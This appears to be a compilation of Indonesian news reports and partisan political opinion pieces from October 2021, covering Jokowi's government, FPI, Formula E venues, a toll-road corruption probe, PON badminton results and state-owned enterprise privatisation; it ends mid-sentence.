By M Rizal Fadillah KAISAR Romawi Nero Claudius Caesar Augustus Germanicus atau dikenal Kaisar Nero adalah penguasa Romawi yang dikenal tiran. Bekerja mengikuti kemauannya sendiri. Memenjarakan atau membunuh para penentangnya. Phobia pada keyakinan dan gerakan keagamaan. Kristiani dianggap berbahaya dan selalu menjadi sasaran fitnah Kaisar. Terkenal akan kekejamannya dan bisa menghukum mati hanya karena persoalan sepele. Ibu kandungnya Agrippina, istri-istri, serta adik tirinya Britanicus dibunuh karena takut menyaingi. Mengklaim sebagai seniman yang serba bisa termasuk musik. Suaranya jelek namun tetap harus dipuji. Ada pendengar yang lompat tembok tak mau mendengar suara berisik Nero. Cita cita dan keinginan kuatnya adalah membuat Roma baru. Meski kas negara kosong karena pemborosan namun Roma sebagai ibu kota baru harus dibangun. Roma lama yang indah dibuat terbakar atas perintah rahasia Nero. Sambil memandang kebakaran hebat ia memetik harpa dan meneteskan air mata. Kambing hitam tertuju pada kaum agama. Radikal Kristen tuduhannya. Mereka diburu dan dibantai. "Roma baru" dibangun dengan biaya mahal dan itu adalah hasil memeras dan memaksa rakyat. Pembangunan Istana didahulukan dan dibuat semegah mungkin "Domus Aurea" rumah emas dengan dekorasi intan permata. Setelah Istana selesai, Nero berkata "Ini baru mirip tempat tinggal manusia". Nero narsis dan masa bodoh pada rakyatnya. Membakar dan membangun Roma terjadi pada tahun 64. Namun tahun 68 kekuasaan Nero runtuh. Ternyata ibu kota baru itu adalah kulminasi dari nafsu kegilaannya berkuasa. Ketika rakyat telah habis kesabaran akibat ditekan dan diperas, maka kenekadan adalah pilihannya. Rakyat berontak dan militer mengkudeta. Nero lari setelah gagal mendapat maaf dan ampunan dari rakyatnya. Hukuman mati telah diputuskan oleh penguasa baru Kaisar Servius Sulpicius Galba. Nero panik dan berniat bunuh diri. Tapi sifat pengecutnya membuat ia tak berani menusukkan belati ke tubuhnya sendiri. Pembantunya diminta memegang belati dan Nero ikut menggenggam lalu bersama-sama menusukkan belati itu ke lehernya. Darah tertumpah mengiringi petikan harpa kematiannya. "Dunia ini telah kehilangan seorang seniman yang hebat", lirihnya. Ibu Kota baru dengan kemegahan baru yang bermodal pembakaran ibu kota lama hanya obsesi dari nafsu berkuasa Nero. Rakyat sama sekali tidak merasakan manfaat. Pajak justru dibebankan lebih berat. Nero bahagia di tengah kesulitan rakyat. Nero memang penguasa yang sakit. Ini adalah sepenggal kisah dari negeri Romawi, bukan yang terjadi di negeri ini. Nero telah mati dengan meninggalkan penyakit menular Neroistik yang menjangkiti banyak penguasa negeri saat ini. *) Pemerhati Politik dan Kebangsaan

Pulau Reklamasi Jadi Alternatif Sirkuit Formula E

Jakarta, FNN - Wakil Gubernur DKI Jakarta, Ahmad Riza Patria mengatakan, opsi sirkuit Formula E akan dilaksanakan di lima lokasi pilihan lainnya, antara lain di Senayan hingga Pulau Reklamasi. "Macam-macam (opsi) di antaranya di Senayan, kemudian di Pantai Maju Bersama dan lain-lain. Nanti dipilih yang terbaik," kata Riza di Balai Kota Jakarta, Rabu, 6 Oktober 2021. Sebelumnya, Badan Usaha Milik Daerah (BUMD) Jakarta Propertindo menyiapkan lima lokasi (venue) alternatif selain Monas untuk Formula E pada 2022. Venue yang jelas bukan di Monas, itu saja clue-nya," kata Direktur Pengembangan Bisnis JakPro, Gunung Kartiko. Gunung menjelaskan hal tersebut karena hingga kini lokasi Formula E di Monas terkendala perizinan dari pemerintah pusat. Oleh karena itu, JakPro memutuskan mencari lokasi lainnya yang tetap menunjukkan ikon Kota Jakarta. "Banyak, ada lima alternatif. Karena Monas kayaknya agak berat dari sisi perizinan. Jadi, kita cari lokasi ikon Jakarta yang memang menunjukkan Jakarta," ucapnya. Gunung enggan menyebutkan lima lokasi alternatif itu karena nantinya akan disurvei terlebih dahulu oleh Formula E Operation (FEO) sebelum ditetapkan sebagai lokasi sirkuit. "Nantinya itu FEO akan datang untuk survei, mapping semua. Baru akan ditentukan yang bagus, (misal) alternatif satu atau dua," ujarnya. (MD).

Sabri Lubis, Sedih Berpisah Dengan Tahanan yang Sudah Rajin Shalat

Jakarta, FNN – Rabu, 6 Oktober 2021, sekitar pukul 10.37 WIB, mantan Ketua Umum Front Pembela Islam (FPI) Ahmad Shabri Lubis bebas dari penjara di rumah tahanan Markas Kepolisian Republik Indonesia . Ia bersama empat mantan petinggi FPI bebas usai menjalani pidana dalam kasus kerumunan Petamburan. Empat lainnya yang bebas itu adalah Haris Ubaidillah, Ali Alwi Alatas bin Alwi Alatas, Idrus alias Idrus Al-Hasby dan Maman Suryadi. Kelimanya bebas, setelah menjalani hukuman delapan bulan, sesuai vonis yang dijatuhkan Pengadilan Negeri Jakarta Timur. Saat keluar dari tahanan, mereka kompak menggunakan pakaian gamis putih dan peci putih. Di Bareskrim Polri, Ahmad Sabri Lubis dan kawan-kawan antara lain disambut Ketua Persaudaraan Alumni 212, Slamet Maarif dan para pengacaranya. Dari tempat dibebaskan, ia langsung menuju Pesantren An-Nur, Ciseeng, Kabupaten Bogor, Jawa Barat. Di pesantren asuhannya itu, cukup banyak warga yang datang menyambut kedatangannya. Tidak hanya santri dan para guru, tetapi juga penggembar dan pendukungnya. Terlihat juga Umar Lubis, artis yang abang kandung Sabri Lubis. Sejumlah kiai dan ustaz datang menyambut kedatangannya. Mereka datang dari berbagai daerah di sekitar Jakarta, Bogor, Depok, Tangerang dan Bekasi (Jabodetabek). Bahkan, ada yang datang dari Kabupaten Karawang dan Tigaraksa, Kabupaten Tangerang, Banten. Padahal, sebelumnya, pihak keluarga sudah mengumumkan tidak ada undangan menyambut bebasnya Sabri dan kawan-kawan. Tidak berapa lama sesampai di tempat tersebut, Sabri Lubis kemudian menziarahi makam ayahnya, Burhanuddin Lubis yang berlokasi di dalam kompleks pesantren. Sabri yang memimpin doa dalam kegiatan tersebut. Saat berbinncang-bincang dengan FNN di rumahnya, Sabri mengemukakan rasa syukur atas bebasnya mereka. “Ada rasa gembira. Tetapi, ada rasa sedih juga,” ujarnya. Gembira, bebas, bisa berkumpul bersama keluarga dan bisa meneruskan perjuangan lewat dakwah. Dakwah, ujarnya, tidak akan berhenti, termasuk ketika mereka masih berada di tahanan bersama Habib Rizieq Syhab (HRS). Sedih, karena harus meninggalkan HRS bersama menantunya. Selain itu, sedih karena berpisah dengan para tahanan yang sudah rajin beribadah, termasuk belajar Alqur’an. Ia menjelaskan, selama delapan bulan di dalam tahanan, banyak yang mereka lakukan. Tentu, itu semua atas bimbingan dan dorongan dari HRS. Di Bareskrim, ada 140 orang tahanan. Tiap hari, sedikitnya 50 orang di antaranya rajin beribadah, mulai dari shalat berjama’ah, membaca Alqur’an, dan bahkan belajar menulis bahasa Arab. Ketika usai shalat Subuh pada hari mereka lepas, Sabri sempat menyampaikan ceramah dan kata perpisahan. “Ya, sedih juga. Ada juga tahanan yang tidak kuat... meneteskan air mata,” ujarnya. Selama di tahanan, ada satu orang yang masuk Islam. Akan tetapi, ketika rajin belajar agama dan beribadah, ia meninggal dunia karena sakit jantung. Sabri juga menjelaskan ada seorang tahanan yang rajin mengikuti ceramah agama dan belajar shalat. Akan tetapi, belum menyatakan diri masuk Islam. Ketika orang tersebut menyatakan ingin mengikuti shalat, mereka melarangnya, karena itu adalah ibadah utama umat Islam. “Kalau masih kebaktian, teruskan kebaktian itu. Jangan ikut shalat, karena shalat itu ibadah. Kalau mendengarkan ceramah, silahkan bergabung setelah selesai shalat,” kata Sabri. Apa yang disampaikannya itu dituruti oleh tahanan tersebut. Yang bersangkutan masih beragama Katolik. “Jadi, kita minta agar ia ikut kebaktian saja,” kata Sabri. Sabri mengiyakan ketika FNN menjelaskan, Front Pembela Islam (FPI) yang sekarang berubah menjadi Front Persaudaraan Islam adalah organisasi yang toleran, tidak memaksakan kehendaknya. Ya, contohnya, orang Katolik yang mendengarkan ceramah agama Islam dan belajar agama Islam dibolehkan. Akan tetapi, tidak dibolehkan ikut shalat, karena merupakan ibadah utama umat Islam. Jika mereka memaksakan kehendak, mungkin saja orang tersebut sudah masuk Islam. Akan tetapi, menjadi mualaf karerna takut kepada manusia, bukan karena hati nurani. (MD/M.Anwar Ibrahim/Job).

Akademisi Dorong Kejati Sumbar Tetapkan Tersangka Korupsi Tol

Padang, FNN - Akademisi dari Universitas Dharma Andalas Defika Yufiandra mendorong Kejaksaan Tinggi Sumatera Barat (Kejati Sumbar) segera menetapkan tersangka kasus dugaan korupsi ganti rugi lahan Jalan Tol Padang-Sicincin yang merupakan proyek strategis nasional. "Kami mendorong kejati segera menetapkan tersangka dalam kasus ini, mengingat prosesnya sudah dinaikkan ke tingkat penyidikan," kata Defika Yufiandra, di Padang, Rabu. Ia mengatakan dorongan penetapan tersangka itu demi penuntasan kasus, serta menjerat orang-orang yang perlu dimintai pertanggungjawaban secara hukum. Kandidat doktor di Fakultas Hukum Universitas Andalas itu yakin Kejati Sumbar tidak akan main-main dalam pengusutan kasus tersebut dan menjerat semua pihak yang terlibat. "Kami nilai kejaksaan telah transparan sejak mengusut kasus ini, karena itu harus segera dituntaskan karena berkaitan juga dengan proyek nasional," ujar mantan Ketua KNPI Sumbar tersebut. Menanggapi hal itu, Asisten Intelijen Kejati Sumbar Mustaqpirin mengatakan pihaknya tengah mematangkan proses penyidikan. "Saat ini proses penyidikan masih terus berjalan dan penyidik mengumpulkan sejumlah alat bukti yang diperlukan," katanya. Ia mengatakan pula, secepatnya Kejati Sumbar akan melakukan penetapan tersangka dalam kasus yang disebut telah mengakibatkan kerugian negara hingga miliaran rupiah. "Jika alat bukti dinilai cukup, maka secepatnya dilakukan penetapan tersangka dalam kasus ini, sehingga didapatkan kepastian hukum," katanya lagi. Dia menyatakan bahwa Kejati Sumbar akan mengusut kasus itu hingga tuntas dan diproses secara transparan kepada publik. Sebelumnya, penyidikan terhadap kasus dugaan penyimpangan uang ganti rugi lahan tol itu telah dinaikkan ke tahap penyidikan sejak 22 Juni 2021. Kasus terjadi di lahan yang berada di kawasan Taman Kehati Kecamatan Parit Malintang, Kabupaten Padangpariaman. Dalam proyek jalan tol, negara membayarkan ganti rugi terhadap lahan-lahan yang dipakai untuk pembangunan. Hanya saja di kawasan Taman Kehati Parit Malintang ditemukan indikasi bahwa penerima ganti rugi bukanlah yang berhak sebagai penerima dengan nilai mencapai Rp30 miliar. Belakangan diketahui bahwa lahan itu tercatat sebagai aset milik pemerintah daerah, sedangkan yang menerima ganti rugi adalah orang per orang. Hingga saat ini setidaknya Kejati Sumbar telah memeriksa 60 lebih saksi, serta mengantongi sejumlah dokumen penting terkait kasus itu. Kajati Sumbar Anwarudin Sulistiyono sebelumnya telah menegaskan dalam menyidik kasus ini, pihaknya tidak melihat secara subjektif, sehingga kalau ada pejabat atau mantan pejabat yang diperiksa itu murni terkait pemrosesan kasus. Kajati menegaskan penyidikan yang dilakukan saat ini murni pada pembayaran ganti rugi lahan, bukan pengerjaan fisik proyek tol, sehingga tidak akan berdampak pada pengerjaan proyek tol, apalagi menghambat pengerjaan. "Pemrosesan ini bagian dari upaya kejaksaan dalam mendukung proyek tol sebagai proyek strategis nasional, jangan sampai ada pihak tak bertanggung jawab yang mengambil keuntungan pribadi dan merugikan keuangan negara," katanya pula. (sws)

Hasil Bulu Tangkis PON Papua Rabu: Non-Unggulan Unjuk Gigi

Jayapura, FNN - Tim-tim non-unggulan unjuk gigi dengan meraih hasil positif pada babak penyisihan hari kedua cabang olahraga bulu tangkis Pekan Olahraga Nasional (PON) Papua 2021 di GOR Waringin, Jayapura, Rabu. Di nomor beregu putra, empat provinsi, yaitu Kalimantan Timur, Sulawesi Utara, Sumatera Utara, dan Banten meraih kemenangan perdana fase penyisihan grup. Kalimantan Timur menunjukkan dominasi atas Papua, yang sehari sebelumnya kalah dari unggulan pertama Jawa Barat. Kalimantan Timur menang 4-1 atas tim tuan rumah. Mereka hanya kehilangan satu gim setelah ganda putra Bryan Sydney Elohim/Muhammad Nur Hafizi kalah dari wakil Papua Jaya Alfian Hudha/Reza Dwicahya Purnama. Ada pun beregu putra Sumatera Utara, yang sehari sebelumnya kalah dari DKI Jakarta, unjuk gigi dengan menumbangkan Bali 4-1. Sementara itu, beregu putra Papua, Papua Barat, dan Lampung, hampir dipastikan tak dapat melaju ke babak semifinal setelah sehari sebelumnya takluk kepada provinsi yang diperkuat pebulu tangkis pelatnas Cipayung. Di nomor beregu putri, Bengkulu menunjukkan dominasinya atas Banten setelah kalah oleh unggulan pertama DKI Jakarta pada hari sebelumnya. Kemenangan Bengkulu dibuka oleh Aisyah Nuraini yang mengalahkan Dinda Haura Salsabila 21-13, 21-13. Kemudian, Rakhamatul Fuadah menang 21-18, 21-18 atas Silvi Wulandari. Namun Bengkulu harus kehilangan satu gim setelah kalah di partai ganda putri. Sementara itu, Maluku Utara dan Lampung kembali gagal mengantongi kemenangan atas lawannya masing-masing. Sehari sebelumnya, beregu putri Maluku Utara takluk kepada unggulan ketiga Papua. Sedangkan Lampung kalah dari unggulan kedua Jawa Timur. Babak penyisihan bulu tangkis nomor beregu masih menyisakan satu pertandingan lagi pada Kamis untuk menentukan juara grup yang berhak melaju ke semifinal yang akan berlangsung Jumat (8/10). Cabang bulu tangkis PON Papua diikuti 20 provinsi untuk memperebutkan tujuh medali emas dari nomor beregu putra dan putri, tunggal putra dan putri, ganda putra dan putri, dan ganda campuran. Berikut hasil lengkap babak penyisihan bulu tangkis beregu PON Papua, Rabu 6 Oktober: Beregu putra Kalimantan vs Papua 4-1 Sulawesi Utara vs Papua Barat 4-1 Banten vs Lampung 3-2 Sumatera Utara vs Bali 4-1 Beregu putri Bengkulu vs Banten 2-1 Jawa Tengah vs Maluku Utara 3-0 Kalimantan Timur vs Sulawesi Tenggara 2-1 Jawa Barat vs Lampung 3-0 (sws)

Menakar Mentalitas Bangsa di Era Pandemi

Oleh Fauzul Iman GAGASAN revolusi mental yang dilontarkan Presiden Jokowi di awal pemerintahan dengan agenda sembilan prioritas yang dijanjikan lewat debat kampanye, boleh dikatakan merupakan gagasan paling top. Banyak pihak menyambut gagasan dan janji itu bersejalanan dengan harapan besar bangsa yang sangat menanti diselesaikannya akumulasi permasalahan yang kian mencekami rakyat. Sembilan poin Nawacita itu terletak pada kualitas mental manusianya. Dengan demikian, tidak dipungkiri, gagasan revolusi mental oleh Jokowi sangat konektif dengan agenda sembilan prioritas Nawacita yang dicanangkannya. Pertanyaannya sejauhmana revolusi mental yang didengungkan itu menjadi pemantik Nawacita dalam tataran praktik di lapangan. Terutama bagi semua komponen bangsa di saat-saat rakyat mengalami penderitaan yang tak kunjung sirna di era bencana pandemi Covid19. Jawaban atas pertanyaan ini, sepatutnya menengok peristiwa demi peristiwa disertai analisis terhadap ruang peristiwanya dengan membandingkan kualitas antar-komponen yang melakukannya. Selama ini pernyataan verbal dan kebijakan dari pemerintah di ruang spesifik telah menebarkan kebahagiaan yang menjanjikan. Program kartu sehat dan kartu pintar dalam kondisi tertentu berjalan menyenangkan sebagian rakyat kecil. Tetapi di ruang lain rakyat kerap tertimpa korban menohok atas kebijakan yang tidak berpihak kepada keadilan. Pedagang keciil dan kaum usaha menengah tidak berdaya mengakses keuangan negara dibanding para pengusaha oligarki yang menguasai 70 persen. Belum lagi para petani desa yang tergusur lahan pertaniannya krena serbuan sektor industri. Para petani menjerit dari hasil jerih payahnya menanam padi tidak laku setelah panen besar karena harga berasnya ditekuk oleh harga beras impor. Ruang peristiwa ketidakadilan di atas merupakan satu sisi yang efeknya membangun kompensasi tinggi bagi lahirnya emosionalisme baru di ruang pandemi pada sisi lain. Kebijakan negara di ruang pandemi dalam dua gelombang yang diawali dengan PSBB dan dan diakhiri dengan PPKM menggambarkan keseriusan dan ketegasan negara dalam upaya percepatan mengakhiri bencana pendemi. Prokes berupa pemakaian masker, jaga jarak, larangan kerumunan diberlakukan secara ketat di semua lini aktivitas. Para aparat baik polri maupunTNI dan Satpol PP dikerahkan secara kompak dan terintegrasi untuk mengamankan dua gelombang kebijakan tersebut. Dengan kebijakan bergelombang yang direncanakan begitu baik oleh negara tidak berarti berjalan tanpa masalah di tengah rakyat/masyarakat. Emosianalisme baru muncul berakumulasi dengan ketidakadilan sebelumnya. Di sinilah menakar mentalitas bangsa di era pandemi mulai dapat dilakukan di dua komponen bangsa. Komponen negara lewat aparat keamanan di ruang-ruang komersial telah tegas bertindak menyita barang bagi para pedagang yang dipandang melanggar aturan. Namun teriakan keras para pedagang kecil sebagai komponen terlemah yang merasa tidak diberi keadilan dan kompensasi bantuan dibiarkan dengan kekecewaan dan kemarahan sejadi-jadinya. Sementara di ruang komersial elit tak terdengar pemaksaan oleh keamanan untuk ditutup aktifitasnya atau dirampas barang-barang dagangannya. Ketidakadilan makin terlihat mencolok saat pihak keamanan membiarkan para komponen elit berpesta ria menciptakan kerumunan. Belum lagi kerumunan yang berulang dilakukan Persiden Jokowi lewat kegiatannya membagi sembako di daerah dan di jalan raya. Peristiwa di atas menggambarkan rendahnya mentalitas komponen bangsa di ruang pandemi. Dalam hal ini tidak sepenuhnya dipersalahkan apabila rakyat mempertontonkan mentalitas yang tidak disiplin dalam mematuhi prokes seperti kerap tidak memakai masker dan atau mengabaikan jaga jarak. Ketidakpatuhan rakyat ini terjadi karena dari pihak elit pimpinan sendiri nyaris sangat minus dalam membangun keteladanan di tengah publik. Rakyat ditekan untuk mematuhi aturan prokes dan dikenakan sangsi bagi yang melakukan pelanggaran. Sementara bagi kalangan komponen elitis yang melakukan pelanggaran prokes tidak pernah terdengar dilakukan tindakan hukum atau paling minimal sekedar teguranpun tidak pernah dilakukannya. Ketidakadilan yang paling menohok dirasakan rakyat di ruang pandemi adalah diizinkannya kedatangan TKA tanpa mempedulikan resiko atau dampak dari kerumunan terhadap penyebaran virus. Pemerintah sampai hari ini belum dengan tegas dan terbuka menjelaskan masuknya rombongan besar TKA ke Indonesia baik dari sisi inteligen keamanan maupun dari sisi kualifikasi dan kompetensi tenaga kerja yang konon akan dipekerjakan di perusahaan tambang nikel. Isu yang tidak mengenakan justru diantara para pekerja asing itu terdapat tenaga yang kualifikasinya untuk pekerjaan-pekerjaan kasar. Baru-baru ini publik dikagetkan juga dengan berita ketidakadilan pendapatan di masa pandemi antara rakyat lemah dengan kaum elite kekuasaan. Pendapatan rakyat makin berkurang karena faktor aktifitas usaha yang tidak berjalan kondusif. Para pekerja buruh tidak sedikit yang di-PHK. Para petani tergusur lahan pencaharian hidupnya oleh kebijakan diskriminatif seperti masih diberlakukannya impor garam dan beras. Termasuk kebijakan pemerintah yang mengutamakan sektor industri telah menggerus lahan pertanian. Pembaharuan undang-undang agraria/land reform hingga kini masih sebatas janji dan verba karena di lapangan sering terjadi penyerobotan tanah milik rakyat oleh oknum pengusaha kuat. Sebaliknya, sungguh ironis maraknya korupsi di kalangan elite kekuasaan di era pandemi ini makin tak terbendung. Rekening para menteri berkali lipat bertambah di saat pandemi. Semua itu sangat memukul perasaan rakyat yang kerap menjadi korban ketidakadilan. Dari uraian di atas ini kita bisa menakar bahwa ketidaksiplinan mental di era pandemi sebenarnya terjadi di elite kekuasaan sendiri yang tidak fight menjadii teladan utama. Mereka yang telah diberi kecukupan lebih tidak bersungguh-sunggguh steril dalam menjaga diri dari prilaku cela dan serakah. Adapun rakyat yang tidak disiplin adalah faktor keridakberdayaan ekonomi yang jauh dari kemewahan apalagi keserakahan. Kepatuhan rakyat yang terjadi terkadang terpaksa oleh karena faktor represivisme dan hegemoni kekuasaan yang tak berdaya dihindari. Meminjam bahasa Antonio Gramsci dalam bukunya The Revolutuon Against Capital , rakyat tak berdaya lagi karena sdang dihegemoni olek kekuasan negara kapitalisme . Gagasan revolusi mental Jokowi yang sangat sejalan dengan agenda Nawacitanya merupakan konsep yang sangat mewah dan tepat untuk mengangkat derajat mentalitas bangsa menuju pembangunan Indonesia yang bersih, berkualitas, sejahtera dan berdaya saing tinggi. Oleh karena itu di era pandemi yang sudah mulai landai dari serangan virus, agar konsep revolusi mental dan sembilan agenda Nawacita berjalan utuh, tak ada jalan lain kecuali tekad pemerintah menjalanknnya bersama rakyat dengan penuh konsisten dan semangat berketeladanan. Pelanggaran tekad dari semua ini hanya akan membawa pandemi yang kian melandai akan menaik kembali dan membawa bangsa makin terperosok ke tubir kehancuran. Nauzubillah ! *) Guru Besar dan Rektor UIN Banten ( 2017-2021)

Jokowi Tak Pantas Jadi Presiden, People Power?

Kewajiban seorang presiden adalah melindungi dan mengayomi seluruh rakyatnya, bukan pilih pilih, bukan membiarkan, bukan pura pura tidak tahu atau sama sekali tidak mau tahu. Oleh Sugengwaras SEORANG presiden tidak bekerja sendiri, tidak paling hebat sendiri, tidak berpikir sendiri, melainkan secara kelembagaan negara, presiden sebagai kepala pemerintahan yang juga sebagai kepala negara, yang secara sistim kelembagaan dibantu dan bekerjasama dengan unsur- unsur lembaga yang lain, mempunyai peran dan tugas pokok sesuai bidang masing-masing untuk NKRI. Menjadi lebih luar biasa dan vulgar konyolnya ketika polisi dan KomnasHam RI, secara bersama-sama memperkuat dan menyatakan tidak terjadi pelanggaran HAM berat pada kasus penembakan yang menewaskan enam laskar FPI pengawal HRS, di KM 50 jalan tol Jakarta Cikampek pada beberapa waktu silam. Bukan rakyat yang radikal, bukan umat Islam yang radikul, tapi justru para oknum stakeholder pimpinan negara yang membuat negara ini jadi kacau, beringas tak terkontrol dan tak terkendali, dalam menuju dan mencapai tujuan bangsa dan negara seperti yang dicita- citakan para pendiri bangsa untuk terus maju, meningkatkan kecerdasan dan kesejahteraan rakyat, yang berlandaskan Pancasila dan UUD '45 dalam bingkai Bhinneka Tunggal Ika. Perkara yang sangat mudah dan gamblang namun sengaja dibuat sulit adalah peristiwa penembakan terhadap enam orang laskar FPI di KM 50. Dengan berlarut-larutnya dan ditundanya masalah ini, seakan mengarah agar terlupanya ingatan masyarakat Indonesia terhadap peristiwa ini. Saya khawatir, adagium PRESISI ( prediktif, responsibilitas, transparansi, yang berkeadilan) yang dicanangkan KAPOLRI, hanya menjadi slogan atau topeng agar polisi tetap di hati rakyat. Ini tidak boleh terjadi, dan justru menjadi kewajiban dan tanggung jawab kita bersama untuk mengapresiasi, merespons, mendukung dan menjaganya bersama guna tegak dan tertibnya hukum di Indonesia. Hilangkan dan kesampingkan berpikir negatif terhadap siapa saja yang korektif konstruktif terhadap kepolisian, yang barangkali sebagai wujud rasa kecintaan dan kebanggaannya terhadap instansi ini. Bersama rakyat TNI kuat, tanpa Polisi negara berantakan! Maka bina dan pupuklah secara terus menerus kemanunggalan TNI POLRI dengan rakyat, hadapi dan sadarkan pihak pihak siapapun yang berupaya memisahkan dan menjauhkan kemanunggalan TNI POLRI dengan rakyat ini. Seharusnya seorang Presiden bisa menangkap cara-cara main keroyok untuk berkolaborasi negatif atau konspirasi antar-lembaga penegak hukum. Ini jika presiden yakin dan konsisten terhadap makna hukum dan penegakan hukum di negara hukum! Bertindak secara hukum seperti yang dilakukan oleh TPUA yang diketuai Prof DR H Eggi Sudjana Mastal MH Msi, rasanya sangat beradab dan berlandaskan konstitusi dan cara-cara konstitusi. Namun tampaknya seperti permainan bola api, lagi-lagi dibuat seperti kemauan sepihak dan semaunya sendiri, hakim dan jaksa persidangan nyaris semuanya digantikan orang lain, bukan lagi yang menangani sejak awal, apa maunya? Apa yang diinginkan serta apa maksud dan tujuanya? Sekali lagi, marilah kita berpikir bersih, tegakkan hukum, tegakkan kejujuran, kebenaran dan keadilan terhadap siapapun warga negara Indonesia yang dimulai dan dipelopori oleh penegak hukum itu sendiri. Kita tidak berharap terjadi tindakan paksa PEOPLE POWER, kecuali pemerintah mengajak, memancing mancing, memulai dan memprakasai untuk ini Kita semua sama-sama manusia yang terdidik, beradab dan cinta ketentraman, ketenangan dan kedamaian, kecuali jika aparatur pemerintah, lebih khusus aparat penegak hukum memberikan contoh yang buruk dan tidak terpuji, jangan salahkan rakyat untuk bertindak dalam rangka mengimbangi. Sekali lagi, buang jauh jauh meremehkan dan menganggap kecil rakyat, karena kedaulatan negara sesungguhnya dan sebenar benarnya berada ditangan rakyat. Berikan kepada kami rakyat Indonesia, keteladanan dan kepeloporan dalam mengabdi dan berbakti kepada negara dan bangsa, dengan sebaik-baiknya, setulus-tulusnya dan seikhlas-ikhlasnya MERDEKA !!!n *) Purnawirawan TNI AD, Pemerhati Pertahanan dan Keamanan NKRI, Panglima TRITURA, Ketum ANNUR, Ketua DPD APIB Jabar, Pengaping KAMI Jabar, Pembina ACT, Aksi, Cepat, Tanggap, Indonesia.

Batalkan Rencana Privatisasi Anak Usaha BUMN Pro Oligarki!

Surat Terbuka untuk Presiden Jokowi Oleh Marwan Batubara, IRESS MAHKAMAH Konstitusi (MK) telah menolak gugatan uji materi (judicial review, JR) Federasi Serikat Pekerja Pertamina Bersatu (FSPPB atas Pasal 77 Huruf c dan d UU BUMN No.19/2003 terhadap Pasal 33 Ayat (2) dan (3) UUD 1945. Uji materi dengan nomor perkara 61/PUU-XVIII/2021 diajukan pada 15 Juli 2020 dan diputuskan MK pada 29 September 2021. Esensi putusan MK: menolak permohonan pemohon untuk seluruhnya. IRESS ikut mendukung dan memberi masukan kepada FSPPB atas JR di atas, terutama karena Pasal 77 huruf c dan d UU No.19/2003 tidak cukup jelas mengatur bahwa anak/cucu perusahaan Pertamina termasuk dalam kategori badan usaha dalam lingkup sebuah BUMN yang dilarang diprivatisasi sesuai konstitusi. Di sisi lain, rencana privatsiasi anak usaha BUMN telah dinyatakan secara terbuka, baik oleh Menteri BUMN Erick Thohir maupun Dirut Pertamina Nicke Widyawati (12/6/2020). Dengan putusan Perkara No.61/2020 pada 29 September 2021, maka rencana privatisasi atau rencana penjualan anak/cucu usaha BUMN akan berlangsung mulus. Pemerintah Jokowi akan leluasa meliberalisasi sektor menyangkut hajat hidup rakyat tanpa peduli konstitusi. Privatisasi melalui initial public offering (IPO) anak usaha (sub-holding) BUMN jelas akan merugikan negara, BUMN dan rakyat secara ekonomi, keuangan, sosial, politik, ketahanan dan kemandirian energi. Karena itu, Putusan MK atas Perkara No.61/2020 harus ditolak dan rencana privatisasi subholding BUMN, terutama Pertamina dan PLN harus dihentikan. *Motif di Balik IPO Sub-Holding BUMN* Sebelum membahas argumentasi mengapa kita harus menolak IPO sub-holding BUMN, perlu dikemukakan hal-hal yang menjadi motif di balik kebijakan. Motif utama adalah keinginan para investor, baik asing maupun domestik (baca: oligarki, taipan dan para pemburu rente) untuk mengambil manfaat dan mengeruk untung sebesar-besarnya dari pengelolaan SDA dan sektor strategis publik yang menyangkut hajat hidup orang banyak. Motif tersebut dapat ditelusuri ke belakang, saat Indonesia mengalami krisis moneter 1997/1998. Saat itu, guna mendapat “bantuan” keuangan dai IMF dan Bank Dunia (BD), Pemerintah RI antara lain dipaksa melakukan berbagai langkah restrukturisasi kebijakan/UU dan privatisasi sejumlah BUMN strategis. Jika syarat-syarat tidak dipernuhi, maka pinjaman tidak turun. Sebagian pejabat pemerintah berkolaborasi mensukseskan agenda asing tersebut. Modus “penjajahan” oligarkis ini ternyata masih dilanjutkan pemerintahan Jokowi melalui berbagai kebijakan dan program bernuansa liberal berupa rencana IPO sub-holding BUMN. Sebelumnya, kita telah mencatat “prestasi” liberalisasi kebijakan/UU pemerintahan Jokowi berupa penyerahan aset minerba negara bernilai ribuan triliun Rp kepada pengusaha oligarkis melalui UU Mineba No.3/2020, penetapan UU Cipta Kerja, dll. Karena motifnya berburu rente besar, tak heran yang jadi sasaran adalah sektor-sekor bernilai kapital besar, yakni minerba, migas, kelistrikan, telekomunikasi, pangan, dll. Penguasaan negara atas SDA dan sektor strategis menyangkut hajat hidup rakyat menurut Pasal 33 UUD 1945 diwujudkan melalui pembuatan kebijakan, pengurusan, pengaturan, pengawasan dan pengelolaan oleh negara melalui DPR dan Pemerintah. Khusus pengelolaan, mandat konstitusi tersebut dijalankan BUMN dengan memperoleh berbagai privilege. Menurut MK dalam Putusan JR UU Migas (No.36/2012) dan UU Sumber Daya Air (No.85/2013), Pasal 33 UUD 1945 menghendaki penguasaan negara harus berdampak pada sebesar-besar kemakmuran rakyat. Frasa “dikuasai negara” tidak dapat dipisahkan dengan makna “untuk sebesar-besar kemakmuran rakyat”. Oleh sebab itu penguasaan negara melalui pengelolaan SDA dan menyangkut hajat hidup rakyat, harus berdampak pada sebesar-besar kemakmuran rakyat, dan hal ini diperoleh melalui keuntungan maksimal oleh BUMN. Amanat penguasaan Pasal 33 UUD 1945 telah diejawantahkan dalam Pasal 77 UU No.19/2003. Ketentuan lain, Pasal 28 ayat (9) dan (10) PP Hulu Migas No.35/2004 yang berbunyi: (9) Pertamina dapat mengajukan permohonan kepada Menteri mengelola Wilayah Kerja habis Kontrak; dan (10) Menteri dapat menyetujui permohonan dimaksud, dengan menilai kemampuan teknis dan keuangan, sepanjang saham Pertamina 100% dimiliki Negara. Gabungan ketentuan Pasal 77 UU BUMN No.19/2003 dan ketentuan Pasal 28 ayat 9 & 10 PP No.35/2004 menyatakan, sepanjang menyangkut hajat hidup orang banyak dan pengelolaan SDA, maka pelaksananya mutlak hanya BUMN. Hak istimewa pengelolaan SDA diberikan negara kepada BUMN hanya karena saham pemerintah di BUMN masih utuh 100%. Jika saham pemerintah di BUMN kurang dari 100%, maka privilege otomatis hilang. Dengan ketentuan UU/peraturan di atas Pertamina dapat memperoleh hak mengelola Blok Rokan atau Blok Mahakam. Jika kurang dari 100%, jangankan anak usaha atau sub-holding, Pertamina sebagai BUMN induk pun tidak eligible. Jelas, tujuan ketentuan di atas adalah agar manfaat finansial terbesar blok migas terjamin dapat dinikmati rakyat. Jika sebagian saham dijual, maka manfaat bagi sebesar-besar kemakmuran rakyat berkurang. Hal ini jelas melanggar prinsip penguasaan negara seseuai Pasal 33 UUD 1945. Kementrian BUMN 